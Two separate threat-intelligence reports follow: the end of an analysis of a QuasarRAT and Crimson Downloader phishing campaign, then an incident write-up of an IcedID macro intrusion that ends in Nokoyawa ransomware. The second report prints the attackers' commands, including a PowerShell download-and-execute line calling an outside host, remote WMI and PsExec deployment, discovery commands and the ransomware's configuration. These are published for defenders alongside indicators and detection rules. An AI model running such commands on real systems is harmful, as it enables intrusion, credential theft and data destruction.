Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders made use of the same shellcode, with minor variances witnessed between them. Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode.
The Microsoft Excel file contained malicious macros that resulted in dropping and subsequently executing Crimson Downloader. The Excel document contained a UserForm that in turn contained three text boxes. The embedded payload was hex-encoded and split between these three text boxes. The malicious macro extracted this information from the text boxes, dropped it to a specific location, and eventually executed the Crimson Downloader payload.
A curious aspect of this campaign is the use of Crimson Downloader in this email campaign. To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen 123 unique instances of this malware family being used to date. Readers may recall a previous blog post from March 2016 that discussed Crimson Downloader. That blog post discussed relationships with both Operation Transparent Tribe and Operation C-Major, which were both targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political targets. The connections we observed in this research lead us to believe there might be a connection between this most recent activity we observed and those campaigns. However, there is not enough evidence to say so decisively.
## Expanding the Scope from the Original Attacks
When looking at the various malware samples encountered as we analyzed this campaign, we identified a total of three hosts/IP addresses, as shown in the following chart:
- 5.189.157[.]215: Crimson Downloader connects to this IP address.
- 115.186.136[.]237: QuasarRAT connects to this IP address.
- subaat[.]com (Resolves to 23.92.211[.]186): RTFs download QuasarRAT from this host.
Starting with the first IP address that was used by Crimson Downloader, we can see that this address appears to be located in Germany and is almost exclusively associated with this malware family. Based on our telemetry, this IP address has exclusively been used to communicate with Crimson Downloader. We observed a total of 16 unique Crimson Downloader samples starting in May of this year.
Moving onto the second IP address of 115.186.136[.]237, we see that this IP address belongs to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both residential and commercial customers.
The subaat[.]com domain has historic WHOIS information from early 2016 that references a Pakistani location. Additionally, it uses pkwebhost[.]net for its DNS, which is a Pakistan-based hosting provider.
The references to Pakistan in conjunction with the use of Crimson Downloader, which has historically been associated with Pakistan actors, is certainly interesting.
The RTFs we observed in the original email campaign downloaded QuasarRAT from http://subaat[.]com/files/sp.exe. Checking this host led us to discover that directory listings were enabled. We were able to discover a large repository of malware on this open server.
Since beginning this research, this domain has been suspended by the hosting provider. However, it returned in mid-August, hosting both a malicious APK and a known instance of QuasarRAT.
In total, we found 84 unique malware payloads hosted on this server, in addition to a number of miscellaneous scripts. The chart below shows the malware families we identified:
As we can see from the above chart, a wealth of different malware families were stored on this web server. Many of these malware families are considered to be commodity malware, or widely used by criminals. Palo Alto Networks has reported on many of these families in the past, including LuminosityLink, QuasarRAT, and DarkComet to name a few. The large number of commodity malware families paints a very different picture from the original attack that made use of Crimson Downloader, which is not a widely used malware.
One thing that caught our eye was the large number of LuminosityLink malware samples stored on this server. Looking at the embedded configuration settings for these samples, we see that they are all similar. The following example shows one of these configurations. A script written in a previous blog post was used to generate the output below.
The email address shown above is used to register a customer’s copy of LuminosityLink. All samples using this registered builder contain this email address. We found all 20 of the identified LuminosityLink samples contained this same email address. The primary domain shown above is registered to 115.186.136[.]237, which is the IP address used by QuasarRAT for Command and Control (C2) communications. Looking at other samples found within the web server repository, we identified a number of malware families communicating with this IP address, including the following:
- QuasarRAT
- LuminosityLink
- Meterpreter
- NJRAT
- RevengeRAT
- RemcosRAT
We also discovered that the email address discussed above was being used by an account on the popular HackingForum web forum service. The account in question that claims to own this email address is none other than ‘Subaat’.
Looking at this user’s profile, we can see their posting history: a total of 14 posts in the past two years. We also see a date of birth of 2/24/1990, stating that the individual is 27 years old.
A quick look at the posting history indicates that this person was inactive starting around December 2016, but returned to posting in early July of this year. This is in line with the campaign witnessed against a US-based government organization that took place on July 16th.
The posts look to be related to various Office exploit builders and crypters. This again is in line with both the campaign we witnessed as well as the various malware we identified on subaat[.]com.
## A Look Behind the Scenes
Looking at logs for the subaat webserver between July 1st and July 20th shows the IP address of 115.186.136[.]237 uploading and interacting with a number of malicious files. We found interactions with a total of 64 unique files during this period. Below is a chart showing the attacker at this IP address interacting with some of the more popular malware families that have been identified.
As we can see from the chart above, a spike of activity took place in the July 11th to July 16th timeframe. This again is consistent with the email campaign that took place in the midst of this period. A number of malware families have been used by this specific attacker, and many of them are configured to communicate with 115.186.136[.]237 as the C2.
## Conclusion
What started out as a simple look into what appeared to be a targeted phishing campaign turned into much more. By the end of this research endeavor, we have identified a server hosting a large number of malware samples that has been primarily used by one specific IP address. This IP address not only interacted with this web server, but also acted as a C2 server for many of these malware families. While looking at malware associated with this actor, we discovered an email address that is tied to a user account on HackForums that has a name consistent with the domain used to host the actor’s malware.
We saw similarities in this campaign and both the Operation Transparent Tribe and Operation C-Major campaigns. Additionally, there is marginal evidence that suggests that the attacker may be based in Pakistan, which is again in line with Operation Transparent Tribe. However, the overall evidence is not conclusive, and there is insufficient proof to say decisively that this is the same threat actor.
Palo Alto Networks customers are protected by this threat in a number of ways:
- All identified samples are flagged as malicious within the Palo Alto Networks platform.
- All domains identified within this research have been appropriately marked as malicious.
- Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-2017-0199.
## Appendix
### Analysis of Malicious RTF Documents
The two identified samples that were used in a campaign against a US-based government organization have the following SHA256 hashes:
- 0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301
- 9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d
These samples varied in size greatly; however, the underlying shellcode was consistent. One notable difference observed in one of the samples (0ade05…) was the inclusion of injecting the shellcode into a newly spawned instance of svchost.exe.
When the shellcode begins, it will start by loading a number of functions that are used to inject code into svchost.exe. The following Python code demonstrates how this hashing function operates:
The shellcode continues to decrypt a blob of data using a 4-byte XOR key of 0x8F51F053. This blob contains a series of important strings, such as the URL and filename, as well as functions that will be used to download the payload.
After this blob is decrypted, flow control proceeds to this blob’s code, where the shellcode will load multiple libraries and functions using a specific hashing algorithm.
The shellcode continues to download a file to the %TEMP% directory from the following URL:
http://subaat[.]com/files/sp.exe. The shellcode proceeds to execute this newly downloaded file prior to exiting.
### Analysis of Malicious Excel Documents
The identified sample that was used in a campaign against a US-based government organization has the following SHA256 hash:
- e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621
When this sample is initially executed, it will attempt to run a malicious macro that is embedded within the file. This macro begins by determining where a dropped file will reside. It will attempt to find the following folders residing within a user’s profile path:
- /Documents
- /Downloads
- /AppData
The payload itself is stored within text boxes in a user form within the Excel document. This data is extracted and hex-decoded. The three blobs of data are concatenated to form a proper PE32 executable.
After this data is properly handled, the macro will drop this file with an extension of .scr to the designated file path. It is then executed in a new process. This newly spawned process is an instance of the Crimson Downloader malware family.
### SHA256 Hashes
- c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71
- 6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742
- 07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc
- 66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6
- 20c949ca25fed25918e524dde67ffe44efb1c974a5ed68d519b77354303c4916
- 007e4b308a69d6c3dba5a01f754a63231b996f1a68ff43ec9b5906f583f0fc6b
- f7d2f547d5ab07abf59f97fb069288d682a20bc9614642777d11c7db76b36f39
- 20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c
- 9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af
- 95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f
- 0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242
- 914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583
- 2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4
- 67d4ab365f1630e750aee300f14fbfc940ea235647014030bd56c4127933834b
- 41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874
- e51b8bf7cc72b47c8ee59056fabd2af1795152d8df33967949d2d2a0996cc51b
- 4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0
- 3a664210955a82d961480adcc914456931325268ccf26c09d0275ca1d2ff35f1
- 5cc14c2bc185121391a7c43e3e65ced4697274e93fe42f28f20c067dde7e9f1d
- f19480d36453da029247fbd066c7f0c1b28912bbefafd052b1d4ee9a64eb9e31
- 6bbb87f05d9d987a3df3bb585de3f2fad5d5cd3f11a0e3c4587255c55a9fe2a5
- 75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32
- a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847
- 2c34565535a0f90b469f0e100d9027190d3cd812bd824aa6af73b4884690a395
- 50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736
### IP Addresses
- 5.189.157[.]215
- 115.186.136[.]237
### Domains
- subaat[.]com
- hassanusauae786.hopto[.]org |
# IcedID Macro Ends in Nokoyawa Ransomware
**May 22, 2023**
Threat actors have moved to other means of initial access, such as ISO files combined with LNKs or OneNote payloads, but some appearances of VBA macros in Office documents can still be seen in use. In this case, we document an incident taking place during Q4 of 2022 consisting of threat actors targeting Italian organizations with Excel maldocs that deploy IcedID. The threat actors deploying such a campaign may hope to target organizations that have not updated their Microsoft Office deployments after the newly released patches to block macros on documents downloaded from the internet.
We have previously reported on IcedID intrusions that have migrated to ISO files; however, this report is one of the most recent that will focus on the traditional Excel/macro intrusion vector. Once inside, the threat actors pivoted using Cobalt Strike and RDP before a domain-wide deployment of Nokoyawa ransomware with the help of PsExec. Nokoyawa ransomware is a family with ties to Karma/Nemty.
## Case Summary
This intrusion began with a malicious Excel document. We assess with medium-high confidence that this document was delivered as part of a malicious email campaign during the first half of October 2022, based on public reporting that overlaps with multiple characteristics observed. Upon opening the Excel document, the macros would be executed when a user clicked on an embedded image. The macro code was responsible for downloading and writing an IcedID DLL payload to disk. The macro then used a renamed rundll32 binary to execute the malicious DLL.
After reaching out to the initial command and control server, automated discovery ran from the IcedID process around two minutes after execution. This discovery used the same suite of Microsoft binaries as we have previously reported for the IcedID malware family. At this time, the malware also established persistence on the beachhead host using a scheduled task.
Around two hours after the initial malware ran, IcedID loaded several Cobalt Strike beacons on the beachhead. Within minutes of running Cobalt Strike on the beachhead, the threat actors proceeded to elevate to SYSTEM permissions and dump LSASS memory using the beacons. Following this activity, the threat actors conducted further reconnaissance and then moved laterally to a Domain Controller through the execution of a Cobalt Strike payload via WMI.
Next, discovery tasks continued from the beachhead host, including network scans for port 1433 (MSSQL) and browsing network shares with an interest in password files. The threat actors appeared to have removed some contents of the network shares off the network as canary files report the documents being opened off network minutes later. After this, the threat actors remained quiet over the next several days.
On the fourth day, the threat actors returned briefly to execute a few commands on the Domain Controller related to the enumeration of domain computers and high privilege user account groups. Privilege escalation was also observed on the system via named pipe impersonation. Early on the sixth day, the threat actors became active again, launching the Edge browser on the beachhead host and appeared to download a file from dropmefiles.com. But after completing this, they went silent again for around another eight hours. Then, from the beachhead host, a new process was spawned from the IcedID malware; and from this shell, the threat actors began enumerating Active Directory using adget and AdFind.
The threat actors then began to spread laterally using a combination of Cobalt Strike beacon DLLs, batch scripts, and WMI commands. More credential dumping was observed, followed by additional AdFind and other Windows discovery commands. The threat actors then continued lateral movement and began checking RDP access across the environment. A batch file was run enumerating hostnames throughout the environment using nslookup. Some further pivoting around systems and targeted discovery continued throughout the rest of the day.
On the seventh day, around 23 hours since the last activity in the environment, the threat actors began the final phase of the intrusion. The threat actors connected to a compromised server via RDP. From this server, they would stage the ransomware deployment. They deployed the ransomware payload, Sysinternals PsExec, and a cluster of batch files 1.bat-6.bat and p.bat. Opening a command prompt, they moved through executing the batch files copying p.bat, a renamed PsExec, and the ransomware payload to all domain-joined hosts. They then used the batch scripts to execute the ransomware payload via PsExec and WMI.
The time to ransomware (TTR) was around 148 hours (~6 days) from the initial infection. After the intrusion, contact was made with the threat actors using their support site, and the price of the ransom was quoted around $200,000 USD in Bitcoin. No ransom was paid as a result of this intrusion.
## Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service can be found here. Our All Intel service includes mini reports, exploit events, long-term infrastructure tracking, clustering, C2 configs, and other curated intel, including non-public case data. We’ll be launching a private ruleset soon; if you’d like to get in at a discounted rate for the beta, please contact us. If you are interested in hearing more about our services or would like to talk about a free trial, please reach out using the Contact Us page. We look forward to hearing from you.
## Analysts
Analysis and reporting completed by @iiamaleks, @MittenSec, & @0xtornado.
## MITRE ATT&CK
### Initial Access
This intrusion is linked to an IcedID malspam campaign that was observed in October 2022 targeting Italian organizations based on overlap in the maldoc template and the IcedID C2 server.
This case involved an IcedID payload delivered through an Excel maldoc containing VBA macros that were linked to the two images embedded in the document, which caused the macros to execute when a user clicks on either of the images.
### Execution
Once the VBA macro was invoked, Excel connected to the hard-coded domain and downloaded the first stage of the IcedID payload. When the VBA macro from Excel calls out to the hard-coded domain, it has multiple interesting characteristics, including:
- Two OPTIONS requests followed by a GET request.
- User-agent fields mentioning Microsoft Office.
- Specific HTTP headers such as X-Office-Major-Version, X-MSGETWEBURL, X-IDCRL_ACCEPTED, and UA-CPU.
Once the IcedID payload is successfully retrieved, it will be decoded with Base64 and written to disk. In this case, the payload was written to the path retrieved from Application.DefaultFilePath, which is the default path used by Excel when it opens files. The random name generated for the IcedID payload may be either 1 to 7 random digits or 4500. This is because the Rnd function will return “a value less than 1 but greater than or equal to zero.”
Once the IcedID payload is successfully written to disk, the following post-deployment steps are initiated:
- Rundll32.exe is copied into a file named calc.exe under the path returned by Application.DefaultFilePath.
- Calc.exe (renamed rundll32.exe) is used to invoke the IcedID payload.
In this case, rundll32.exe was copied into the user Documents folder and named calc.exe. The name ‘calc.exe’ is hard-coded into the VBA code and will not be changed.
Once the VBA macros invoked the IcedID payload, the parent-child process relationship between Excel and calc.exe was observed.
### IcedID VNC
The threat actors were observed making use of a VNC module that was spawned by IcedID to spawn the Microsoft Edge browser. We were able to reconstruct some of the VNC traffic thanks to @0xThiebaut‘s tool PCAPeek. You can see the below options such as Edge, Chrome, Firefox, CMD, Task Manager, and run dialog. Based on the visual, it appears to be the KeyHole VNC module reported first observed in Oct 2022 by NVISO.
In another instance, a run dialog was observed being used to execute the calc.exe file that was created earlier. However, the command below would have no effect in this case as calc.exe is a renamed version of rundll32 and no parameters were passed. Several other programs were seen run in this manner, as seen in process execution logs below:
### Cobalt Strike
The threat actors used Cobalt Strike beacons throughout the intrusion. The first beacon was executed via PowerShell, which in turn was executed initially by a command shell that was started by the IcedID malware at the same time a DLL beacon was also executed.
The downloaded PowerShell payload, previously hosted on hxxps://aicsoftware.com:757/coin, is available on VirusTotal. Here is the content of the payload, where we can observe an object being created in memory using an encoded string.
After initial Base64 decoding, we found the payload used the default Cobalt Strike XOR value of 35 which allows for the next step of decoding the payload.
### Persistence
During the initial execution of IcedID, the following two files were created under the AppData Roaming folder of the user that executed it:
- exdudipo.dll: IcedID first stage.
- license.dat: Encoded version of the second stage which the first stage will load into memory.
A scheduled task was created that contained instructions on executing the IcedID DLL and the location of the license.dat file. This is a very common method that IcedID has used for persistence.
```xml
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\{3774AD25-8218-8099-89BA-CE96C6E9DC4E}</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger id="TimeTrigger">
<Repetition>
<Interval>PT1H</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2012-01-01T12:00:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
<LogonTrigger id="LogonTrigger">
<Enabled>true</Enabled>
<UserId>[REDACTED USER]</UserId>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>HighestAvailable</RunLevel>
<UserId>[REDACTED DOMAIN]\[REDACTED USER]</UserId>
<LogonType>InteractiveToken</LogonType>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>rundll32.exe</Command>
<Arguments>"C:\Users\[REDACTED USER]\AppData\Roaming\{02959BFD-29E0-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E118-83C2-ADAD-8729FDCA00C0}\exdudipo.dll",#1 --pa="AntiquePeanut\license.dat"</Arguments>
</Exec>
</Actions>
</Task>
```
The scheduled task was configured to execute every hour.
### Privilege Escalation
Privilege escalation was completed on two systems via the named pipe GetSystem feature within the Cobalt Strike tool. An example is shown below via Sysmon event ID 1 – ProcessCreate Rule:
### Defense Evasion
This intrusion displayed numerous techniques used by threat actors to evade detection.
#### Process Injection
The adversary was seen injecting code into legitimate processes via CreateRemoteThread which can be detected using Sysmon event ID 8. The table below shows examples of injected processes found via an in-memory yara scan using this Malpedia yara rule:
| Host | Process | ProcessName | CommandLine |
|--------------------------------|-------------|------------------------|--------------------------------------------|
| workstation.domain.local | 612 | winlogon.exe | winlogon.exe |
| workstation.domain.local | 828 | svchost.exe | C:\Windows\system32\svchost.exe -k DcomLaunch -p |
| fileshare.domain.local | 760 | svchost.exe | C:\Windows\system32\svchost.exe -k DcomLaunch -p |
| fileshare.domain.local | 4928 | winlogon.exe | winlogon.exe |
| fileshare.domain.local | 1960 | rundll32.exe | rundll32.exe c:\windows\temp\1.dll |
| beachhead.domain.local | 712 | lsass.exe | C:\Windows\system32\lsass.exe |
| beachhead.domain.local | 812 | svchost.exe | C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService |
| beachhead.domain.local | 5884 | TextInputHost.exe | C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca |
| beachhead.domain.local | 2036 | sysmon64.exe | C:\Windows\sysmon64.exe -z syscliprpc9E7B7D3FAF371803 |
| beachhead.domain.local | 2568 | regsvr32.exe | C:\Windows\syswow64\regsvr32.exe |
| beachhead.domain.local | 9760 | cmd.exe | C:\Windows\SysWOW64\cmd.exe |
| server.domain.local | 432 | rundll32.exe | rundll32.exe 1.dll |
#### File Deletion
Files that were dropped in temporary directories were deleted after execution as seen below with Sysmon event ID 11 and 23. Below is the list of files seen being created and later deleted by the threat actor:
- 7.exe
- adfind.bat
- adfind.exe
- adget.exe
- ad.7z
- 1.bat
- 1.dll
- 7.exe
- ns.bat
#### Renamed System Utilities
Adversaries typically rename common Windows system utilities to avoid triggering alerts that monitor utility usage. The table below summarizes the renamed utilities observed in this intrusion.
| Windows Utility | Renamed Windows Utility |
|----------------------|---------------------------------------------|
| rundll32.exe | C:\Users\<REDACTED>\Documents\calc.exe |
| psexesvc.exe | C:\Windows\mstdc.exe |
### Credential Access
The threat actors were observed accessing a file server and browsing through files related to passwords. These would later be observed opened off network, more details in the exfiltration section on that activity. On the second day of the intrusion, after moving laterally to a Domain Controller, LSASS was accessed from a Cobalt Strike process. The access granted value 0x1010 was observed. As noted in a previous report, this value matches known mimikatz access patterns. This logged event suggests Cobalt Strike accessed LSASS to dump credentials from memory. This activity was observed again on various hosts on the fourth and sixth days of the intrusion.
### Discovery
The discovery phase primarily utilized built-in Windows tools. One utility seen was chcp which allows you to display or set the code page number. The default chcp value is determined by the Windows locale. The locale can indicate the language, country, and regional standards of that host (e.g., date and time formatting). After viewing the default page code, the adversary did change the value to 65001 to reflect the UTF-8 character set. We have seen this as a technique employed by IcedID for some time as reported in depth in prior cases.
```plaintext
arp -a
chcp >&2
chcp 65001
chcp 65001 && c: && cd c:\
dir \\<REDACTED>\c$
ipconfig /all
net config workstation
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net group "domain admins" /dom
net group "enterprise admins" /dom
net localgroup "administrators" /dom
net view /all
net view /all /domain
net1 config workstation
nltest /domain_trusts
nltest /domain_trusts /all_trusts
ping <HOST_IP>
systeminfo
whoami
whoami /upn
```
Following the initial discovery commands mentioned above on day one, the threat actor scanned the network for port 1433, the default port used by Microsoft SQL server. The discovery phase remained minimal leading into day six. The threat actors were seen dropping AdFind and adget.exe to reveal all users, groups, computers, organizational units, subnets, and trust objects within the domain.
```plaintext
adfind.exe -gcb -sc trustdmp
adfind.exe -f (objectcategory=group)
adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f (objectcategory=organizationalUnit)
adfind.exe -f objectcategory=computer
adfind.exe -f (objectcategory=person)
```
Adget is a newer tool that we first observed in this previous report but generally this tool performs similar AD discovery as AdFind. Following the Active Directory discovery activity, additional remote discovery actions were observed using WMI to gather information about Windows OS version and licensing on the hosts.
```plaintext
C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" /user:"USER" /password:"REDACTED" os get caption
```
Then another recon round occurred using NSLOOKUP to map assets to IP addresses. This was followed by network scans for RDP.
### Lateral Movement
During this intrusion, threat actors used a number of different techniques to move laterally across the domain. The techniques used will be detailed in the following sections.
#### T1021.006 Remote Services: WinRM
Some of the threat actors’ lateral activity was executed using WinRM, this could be observed by matching parent-child process trees and DCE RPC traffic.
#### T1047 WMI
Threat actors ran the following command to download and execute an in-memory PowerShell payload on a domain controller:
```plaintext
C:\\Windows\\System32\\wbem\\wmic.exe /node:REDACTED process call create "cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://aicsoftware.com:757/coin'))"
```
WMI was also used when executing remote DLL beacons:
```plaintext
C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" process call create "c:\windows\system32\rundll32.exe c:\windows\temp\1.dll, DllRegisterServer"
```
WMI commands were also observed during ransom deployment:
```plaintext
wmic /node:REDACTED /user:DOMAIN\USER /password:REDACTED process call create cmd.exe /c copy \\REDACTED\c$\windows\temp\p.bat c:\windows\temp
```
#### T1021.002 Remote Services: SMB/Windows Admin Shares
The threat actors relied on SMB to move their tools throughout the network during the intrusion. The threat actors used PsExec to move laterally to servers during the ransom execution; the -r flag was used to rename the binary created on the remote server to mstdc.exe.
Below are some of the PsExec forensic artifacts logged in Windows Event Logs and Sysmon:
### Collection
During discovery actions, the threat actors were observed using 7-Zip to archive data collected from Active Directory using AdFind.
```plaintext
7.exe a -mx3 ad.7z ad_*
```
### Command and Control
IcedID was observed with the campaign ID of 3298576311 communicating with a C2 server located at kicknocisd.com.
| Suricata Rule Name | Domain | IP | AS ORG | Country |
|-------------------------------------------------------|----------------------|-----------------------|----------------------------|---------------|
| ET MALWARE Win32/IcedID Request Cookie | kicknocisd.com | 159.65.169.200 | DIGITALOCEAN-ASN | United States |
After initial connections, IcedID command and control traffic moved to the following servers.
| Domain | IP | Port | JA3 | JA3s |
|----------------------------|---------------------|--------|----------------------------------------------|----------------------------------------------|
| curabiebarristie.com | 198.244.180.66 | 443 | a0e9f5d64349fb13191bc781f81f42e1 | ec74a5c51106f0419184d0dd08fb05bc |
| stayersa.art | 198.244.180.66 | 443 | a0e9f5d64349fb13191bc781f81f42e1 | ec74a5c51106f0419184d0dd08fb05bc |
| guaracheza.pics | 45.66.248.119 | 443 | a0e9f5d64349fb13191bc781f81f42e1 | ec74a5c51106f0419184d0dd08fb05bc |
| belliecow.wiki | 45.66.248.119 | 443 | a0e9f5d64349fb13191bc781f81f42e1 | ec74a5c51106f0419184d0dd08fb05bc |
Connections to one of the IcedID servers were observed in memory dumps from the beachhead host. This evidence is consistent with the connections to 45.66.248.119 observed from the renamed rundll32.exe that loaded the IcedID DLL during maldoc execution at the beginning of this case.
### BackConnect VNC
During the intrusion, we also observed connections to a BackConnect VNC IP address. These connections were also spawned from the running IcedID process on the beachhead host. Alerts from Lenny Hansson‘s ruleset fired on the traffic for the following alerts:
| Suricata Alert | IP | Port |
|--------------------------------------------------------------------------------|-----------------------|------|
| NF – Malware IcedID BackConnect – Wait Command | 137.74.104.108 | 8080 |
| NF – Malware IcedID BackConnect – Start VNC command – 11 | 137.74.104.108 | 8080 |
### Web Service
On the sixth day, the threat actors launched an Edge browser on the beachhead host, via VNC as described in the execution section, and connected to the site dropmefiles.com, a site that offers free file transfer services. Data connections from the Edge browser in the SRUMDB indicate that a file download occurred, but we were unable to determine what the file was or its purpose related to the intrusion.
### Cobalt Strike Configurations
| Domain | IP | Port | JA3 | JA3s |
|----------------------|-------------------|---------|--------------------------------------------|----------------------------------------------|
| aicsoftware.com | 23.29.115.152 | 757 | a0e9f5d64349fb13191bc781f81f42e1 | f176ba63b4d68e576b5ba345bec2c7b7 |
| aicsoftware.com | 23.29.115.152 | 8080 | N/A | N/A |
### Exfiltration
During the intrusion, the threat actors targeted password documents on network shares. We observed these being taken and opened off network through the use of canaries. No overt exfiltration was observed, so we assess that this occurred over existing command and control channels. The threat actors opened the document from the IP: 45.61.139.126.
### Impact
Threat actors deployed Nokoyawa ransomware from one of the servers using WMI and PsExec. They first copied the ransomware binary, k.exe, and a batch script p.bat using WMI:
```plaintext
wmic /node:"TARGET_HOST_IP" /user:"DOMAIN\USER" /password:"PASSWORD" process call create "cmd.exe /c copy \\SOURCE_SERVER_IP\c$\windows\temp\p.bat c:\windows\temp\"
```
A snippet of SMB network traffic generated by the above command:
The p.bat is a simple batch script that runs the k.exe binary with a Base64 encoded configuration:
```plaintext
c:\windows\temp\k.exe --config REDACTED
```
The redacted parameter used by the `–config` flag decodes to:
```json
{
"EXTENSION": "AWAYOKON",
"NOTE_NAME": "AWAYOKON-readme.txt",
"NOTE_CONTENT": "REDACTED",
"ECC_PUBLIC": "lHrYQm+P3IbmyjTop2FK0qUdwOcSgHuFiT+r77bT4w0=",
"SKIP_DIRS": ["windows", "program files", "program files (x86)", "appdata", "programdata", "system volume information", ""],
"SKIP_EXTS": [".exe", ".dll", ".ini", ".lnk", ".url", ""],
"ENCRYPT_NETWORK": true,
"LOAD_HIDDEN_DRIVES": true,
"DELETE_SHADOW": true
}
```
The decoded configuration file shows the ransomware extension, the note name, and the note content encoded in Base64. The threat actors also configured a number of directories and extensions to skip and enabled network and hidden drives encryption. The DELETE_SHADOW was set to true, in order to delete volume shadow copies.
Based on the configuration parameters being passed via command line and the code written in C++, the deployment appears to be part of the 1.1 version of the Nokoyawa code base.
### Timeline
### Diamond Model
### Indicators
#### Atomic
- Cobalt Strike
- 50.3.132.232:8081 / iconnectgs.com
- 5.8.18.242:443
- 23.29.115.152:757 / aicsoftware.com
- 23.29.115.152:8080 / aicsoftware.com
- Powershell Cobalt Strike Downloader
- https://aicsoftware.com:757/coin
- IcedID Excel Download URL
- https://simipimi.com
- IcedID C2
- kicknocisd.com
- 159.65.169.200
- 45.66.248.119:443 / guaracheza.pics | belliecow.wiki
- 198.244.180.66:443 / curabiebarristie.com | stayersa.art
- BackConnect
- 137.74.104.108:8080
#### Computed
- 1.bat
- 1.dll
- 4_202210250456866742.xls
- k.exe
- mstdc.exe
- p.bat
#### Detections
- Network
- ET MALWARE Win32/IcedID Request Cookie
- ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)
- NF - Malware IcedID BackConnect - Wait Command
- NF - Malware IcedID BackConnect - Start VNC command - 11
- ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
- ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
- ET MALWARE Cobalt Strike Malleable C2 Profile (__session__id Cookie)
- ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection
- ET POLICY SMB2 NT Create AndX Request For an Executable File
- ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
- ET POLICY PsExec service created
- ET POLICY SMB Executable File Transfer
- ET POLICY SMB2 NT Create AndX Request For a .bat File
- ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement
- Sigma
- SIGMA Project Repo
- New Process Created Via Wmic.EXE
- Potential Recon Activity Via Nltest.EXE
- Created Files by Office Applications
- CobaltStrike Named Pipe
- Suspicious Group And Account Reconnaissance Activity Using Net.EXE
- PowerShell Download and Execution Cradles
- Meterpreter or Cobalt Strike Getsystem Service Installation – Security
- Credential Dumping Tools Accessing LSASS Memory
- Potential Defense Evasion Via Rename Of Highly Relevant Binaries
- Yara
- https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18190/18190.yar
### MITRE
- Access Token Manipulation: Token Impersonation/Theft - T1134.001
- Account Discovery: Local Account - T1087.001
- Account Discovery: Domain Account - T1087.002
- Application Layer Protocol: Web Protocols - T1071.001
- Command and Scripting Interpreter: Windows Command Shell - T1059.003
- Command-Line Interface: PowerShell - T1059.001
- Command-Line Interface: Visual Basic - T1059.005
- Data Encrypted for Impact - T1486
- Domain Trust Discovery - T1482
- File and Directory Discovery - T1083
- Indicator Removal on Host: File Deletion - T1070.004
- Masquerading: Rename System Utilities - T1036.003
- Phishing: Spearphishing Attachment - T1566.001
